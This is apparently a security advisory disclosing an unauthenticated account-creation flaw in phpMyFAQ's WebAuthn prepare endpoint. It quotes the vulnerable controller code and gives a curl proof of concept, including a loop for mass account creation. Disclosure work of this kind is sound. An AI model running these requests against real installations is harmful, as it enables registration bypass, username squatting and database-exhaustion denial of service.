Description

phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint

Summary

The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79

#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
    $data = json_decode($request->getContent(), ...);
    $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);

    if (!$this->user->getUserByLogin($username, raiseError: false)) {
        try {...
Show more

The endpoint:

Accepts any POST request with a JSON username field

If the username doesn't exist, creates a new active user account

Does NOT check if WebAuthn support is enabled (security.enableWebAuthnSupport)

Does NOT check if registration is enabled (security.enableRegistration)

Does NOT verify CSRF tokens

Does NOT require captcha validation

Has no rate limiting

PoC

# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker_account"}'

# Mass account creation
for i in $(seq 1 1000); do
  curl -s -X POST https://TARGET/api/webauthn/prepare \...
Show more

Impact

Registration bypass: Accounts created even when self-registration is disabled

Username squatting: Reserve usernames before legitimate users

Database exhaustion: Create millions of fake active accounts (DoS)

User enumeration: Different responses for existing vs new usernames

Security control bypass: WebAuthn config check is bypassed entirely

All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.

Mitigation

Aliases

References